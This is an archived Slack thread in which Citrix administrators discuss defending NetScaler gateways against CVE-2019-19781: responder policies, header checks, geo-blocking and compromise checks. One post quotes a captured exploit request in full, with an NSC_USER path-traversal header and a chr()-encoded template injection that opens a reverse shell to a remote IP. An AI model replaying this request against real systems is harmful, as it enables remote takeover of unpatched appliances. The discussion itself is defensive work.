https://worldofeuc.com logo
Join Slack
Powered by
This message was deleted.
# citrix-netscaler
s
This message was deleted.
đŸ˜© 3
m
I installed the responder policy at a customer this morning (9 am German time, which was roughly 10 hours ago) and it was already to late.
not the modified one you posted above, the one within CTX267679
m
But it seems like the default isn’t enough anymore, try to take a look at the URL. If you look in the capture, you can see the post is against a valid URL (so the original responder wont hit it)
This is from the packet capture on the sans site: POST /vpns/portal/scripts/newbm.pl HTTP/1.1 Host: 172.16.29.239 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive NSC_USER: ../../../netscaler/portal/templates/hhrwhmcnag NSC_NONCE: 9 Content-Length: 3647 Content-Type: application/x-www-form-urlencoded url=127.0.0.1&title=%5B%25+template.new%28%7B%27BLOCK%27%3D%27print+readpipe%28chr%2847%29+.+chr%28118%29+.+chr%2897%29+.+chr%28114%29+.+chr%2847%29+.+chr%28112%29+.+chr%28121%29+.+chr%28116%29+.+chr%28104%29+.+chr%28111%29+.+chr%28110%29+.+chr%2847%29+.+chr%2898%29+.+chr%28105%29+.+chr%28110%29+.+chr%2847%29+.+chr%28112%29+.+chr%28121%29+.+chr%28116%29+.+chr%28104%29+.+chr%28111%29+.+chr%28110%29+.+chr%2832%29+.+chr%2845%29+.+chr%2899%29+.+chr%2832%29+.+chr%2839%29+.+chr%28105%29+.+chr%28109%29+.+chr%28112%29+.+chr%28111%29+.+chr%28114%29+.+chr%28116%29+.+chr%2832%29+.+chr%28115%29+.+chr%28111%29+.+chr%2899%29+.+chr%28107%29+.+chr%28101%29+.+chr%28116%29+.+chr%2844%29+.+chr%28115%29+.+chr%28117%29+.+chr%2898%29+.+chr%28112%29+.+chr%28114%29+.+chr%28111%29+.+chr%2899%29+.+chr%28101%29+.+chr%28115%29+.+chr%28115%29+.+chr%2844%29+.+chr%28111%29+.+chr%28115%29+.+chr%2859%29+.+chr%28115%29+.+chr%2861%29+.+chr%28115%29+.+chr%28111%29+.+chr%2899%29+.+chr%28107%29+.+chr%28101%29+.+chr%28116%29+.+chr%2846%29+.+chr%28115%29+.+chr%28111%29+.+chr%2899%29+.+chr%28107%29+.+chr%28101%29+.+chr%28116%29+.+chr%2840%29+.+chr%28115%29+.+chr%28111%29+.+chr%2899%29+.+chr%28107%29+.+chr%28101%29+.+chr%28116%29+.+chr%2846%29+.+chr%2865%29+.+chr%2870%29+.+chr%2895%29+.+chr%2873%29+.+chr%2878%29+.+chr%2869%29+.+chr%2884%29+.+chr%2844%29+.+chr%28115%29+.+chr%28111%29+.+chr%2899%29+.+chr%28107%29+.+chr%28101%29+.+chr%28116%29+.+chr%2846%29+.+chr%2883%29+.+chr%2879%29+.+chr%2867%29+.+chr%2875%29+.+chr%2895%29+.+chr%2883%29+.+chr%2884%29+.+chr%2882%29+.+chr%2869%29+.+chr%2865%29+.+chr%2877%29+.+chr%2841%29+.+chr%2859%29+.+chr%28115%29+.+chr%2846%29+.+chr%2899%29+.+chr%28111%29+.+chr%28110%29+.+chr%28110%29+.+chr%28101%29+.+chr%2899%29+.+chr%28116%29+.+chr%2840%29+.+chr%2840%29+.+chr%2834%29+.+chr%2849%29+.+chr%2855%29+.+chr%2850%29+.+chr%2846%29+.+chr%2849%29+.+chr%2854%29+.+chr%2846%29+.+chr%2850%29+.+chr%2857%29+.+chr%2846%29+.+chr%2849%29+.+chr%2834%29+.+chr%2844%29+.+chr%2849%29+.+chr%2850%29+.+chr%2851%29+.+chr%2852%29+.+chr%2853%29+.+chr%2841%29+.+chr%2841%29+.+chr%2859%29+.+chr%28111%29+.+chr%28115%29+.+chr%2846%29+.+chr%28100%29+.+chr%28117%29+.+chr%28112%29+.+chr%2850%29+.+chr%2840%29+.+chr%28115%29+.+chr%2846%29+.+chr%28102%29+.+chr%28105%29+.+chr%28108%29+.+chr%28101%29+.+chr%28110%29+.+chr%28111%29+.+chr%2840%29+.+chr%2841%29+.+chr%2844%29+.+chr%2848%29+.+chr%2841%29+.+chr%2859%29+.+chr%2832%29+.+chr%28111%29+.+chr%28115%29+.+chr%2846%29+.+chr%28100%29+.+chr%28117%29+.+chr%28112%29+.+chr%2850%29+.+chr%2840%29+.+chr%28115%29+.+chr%2846%29+.+chr%28102%29+.+chr%28105%29+.+chr%28108%29+.+chr%28101%29+.+chr%28110%29+.+chr%28111%29+.+chr%2840%29+.+chr%2841%29+.+chr%2844%29+.+chr%2849%29+.+chr%2841%29+.+chr%2859%29+.+chr%2832%29+.+chr%28111%29+.+chr%28115%29+.+chr%2846%29+.+chr%28100%29+.+chr%28117%29+.+chr%28112%29+.+chr%2850%29+.+chr%2840%29+.+chr%28115%29+.+chr%2846%29+.+chr%28102%29+.+chr%28105%29+.+chr%28108%29+.+chr%28101%29+.+chr%28110%29+.+chr%28111%29+.+chr%2840%29+.+chr%2841%29+.+chr%2844%29+.+chr%2850%29+.+chr%2841%29+.+chr%2859%29+.+chr%28112%29+.+chr%2861%29+.+chr%28115%29+.+chr%28117%29+.+chr%2898%29+.+chr%28112%29+.+chr%28114%29+.+chr%28111%29+.+chr%2899%29+.+chr%28101%29+.+chr%28115%29+.+chr%28115%29+.+chr%2846%29+.+chr%2899%29+.+chr%2897%29+.+chr%28108%29+.+chr%28108%29+.+chr%2840%29+.+chr%2891%29+.+chr%2834%29+.+chr%2847%29+.+chr%2898%29+.+chr%28105%29+.+chr%28110%29+.+chr%2847%29+.+chr%28115%29+.+chr%28104%29+.+chr%2834%29+.+chr%2844%29+.+chr%2834%29+.+chr%2845%29+.+chr%28105%29+.+chr%2834%29+.+chr%2893%29+.+chr%2841%29+.+chr%2859%29+.+chr%2839%29%29%27%7D%29%25%5D&desc=desc&UI_inuse=aHTTP/1.1 200 OK Date: Sat, 11 Jan 2020 162543 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 11 Jan 2020 135146 GMT ETag: “87-59bdd8b052080” Accept-Ranges: bytes Content-Length: 135 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Keep-Alive: timeout=15, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <HTML> <BODY> <SCRIPT language=javascript type=text/javascript> //parent.window.ns_reload(); window.close(); </SCRIPT> </BODY> </HTML>
n
@Steve Elgan
s
Yea I saw this Neil. Mads shared it on the CTA slack workspace too
👍 1
That's too bad @Markus Zehnle
n
Worth doing a reboot? I guess the intent for that is to terminate any active sessions
why not just remove the perl script? is it necessary to gateway functionality?
c
For what it’s worth, the additional header checks appear to be superfluous based on the original mitigation policy.
I’m only on a phone right now at summit so I can’t open pcaps, but anyone not logged in trying to hit a vpns url with mitigation applied would be 403d, and if logged in those headers are ignored already and not passed to Apache.
m
From what I gather from the packet capture, it seems like you invoke the traversal without it being in the URL just in the headers
c
Correct, but that’s on a machine that doesn’t have the mitigation yet from what I can tell.
I believe the docs are gonna be updated to address this scenario.
m
It’s this information SANS that has me worried “It is important to note that the often quotes “..” pattern is not as many assumed in the URL, but instead it can be found in the NSC_USER header. Probably the best filter you can use is to look for an NSC_USER header with a “..” patern in the value. You can find a PCAP of running the TrustedSec version of the exploit (after changing it to use HTTP) here: citrixexploit.pcap .” I mean i hope i’m wrong, but i would rather be safe than sorry right now.
c
Totally understand, I brought that exact quote up internally with the sec team when that blog dropped.
m
I think that at least this new one will also protect against legitimate users trying to exploit (don’t trust anyone)
c
Yeah to be clear, I’m not advocating for or against it, just trying to provide context. I haven’t tested but supposedly client provided headers are stripped from authed gateway users, but even if so there’s an argument to be made that you’d still want to detect malicious users. One thing I would suggest is everybody adding log actions to the policy so you get live messages when responder fires, can include stuff like client IP and URL attempted.
m
j
Thanks Mads for the updated policy, will try & and test both and compare the hits
r
Damn another one?
m
I think we should take things from Twitter with a grain of salt (I know i posted myself) but I’m just trying to supply information I get. But the information and the sans update, worried me enough to try and make a protection against them, if they are valid.
r
I understand man. I appreciate u being on top of it. It helps us all out.
m
It’s a wild ride.. I talked with the Citrix CISO today (the guy that wrote the blog we all complain about) and told him, we need more information about a lot of things. So hopefully we get some soon
s
Agreed on the Twitter thing but the SANS site is quite reputable.
r
Better just do it to be safe than sorry i say
m
Thats after 10-12 hours
m
I hope that we (Wasn’t only me that figured out we should do the updated header, i just got to post it) been wrong, but with the lack of information from Citrix and sans being sans, i wouldn’t take the risk.
t
That's where I'm at, and why I posted your settings to Twitter. Figured at this point, I'd rather have too much than too little
💯 1
Wondering if there are any settings / any way to configure WAF on NS to drop these attacks...
If you think you've been compromised, or if you want to check whether or not you have, take a look at this article: https://nerdscaler.com/2020/01/13/citrix-adc-cve-2019-19781-exploited-what-now/
m
The WAF with default block URL should stop it if i recall correct (But one of the default settings)
n
So far 95% of the connections trying to exploit this against ours have been from China. I realize that blocking a region or country is pretty easy to circumvent but I don't even want people "knocking on the door" from places we'd have no business with.
No responder policy hits since blocking China last night. Got paranoid and had to check for the vulnerability myself to see if the hit counter incremented.
m
We’re also seeing most attacks from China
n
If I were an attacker in China I would probably try to do something to obfuscate my Chinese IP ¯\_(ツ)_/¯
m
Sure some kind of VPN to other countries, but spoofing their IP would be a bad idea in this case, since they wouldn’t get the reply back.
Hey Guys, I got a reply from Citrix security yesterday about our concern with the whole header stuff (Reason for why i made the post) and this is what they sent me.
I read their reply as “Our original would protect about the updated SANS stuff, so there is no need for the extra policy that we created”
c
yep
r
Thanks for taking the time and doing the Mads.
m
I just had to make sure that i was allowed to share it public, it was shared on CTP/CTA/PTEC channels already.
r
From my point of veiw, your helping us out.
n
Well it appears would be attackers have wisened up and are now trying to use US IP's for scanning. Had about a dozen more responder policy hits in the past day and only 1 hit the responder policy I have configured to drop non-US IP's on the Gateways
m
Citrix released a test script, maybe some folks are trying to "test" their neighbours 😉
https://support.citrix.com/article/CTX269180 but they messed the parameters... they should be "--in_file" and "--out_file". If you are vulnerable there will be your IP address in out_file
Just received an email from Citrix Security Team that my Netscaler/ADC is vulnerable so it seems that Citrix is scanning too. Maybe those are the US IPs!?
n
Interesting
Wonder how they're tying the gateway URL back to customers where it's not overly obvious which company would be listed on the support/license entitlement. Probably just best effort.
Is yours actually vulnerable?
m
Nope, my Responder Action replies "400 Bad Request" instead of "403 Forbidden" 😄
n
lol...gotcha
I like your response better actually
s
So they don't see 403 and assume you are vulnerable. Interesting...
m
Like Thorsten said:
😄 1
2 Views
Open in Slack
PreviousNext
Powered by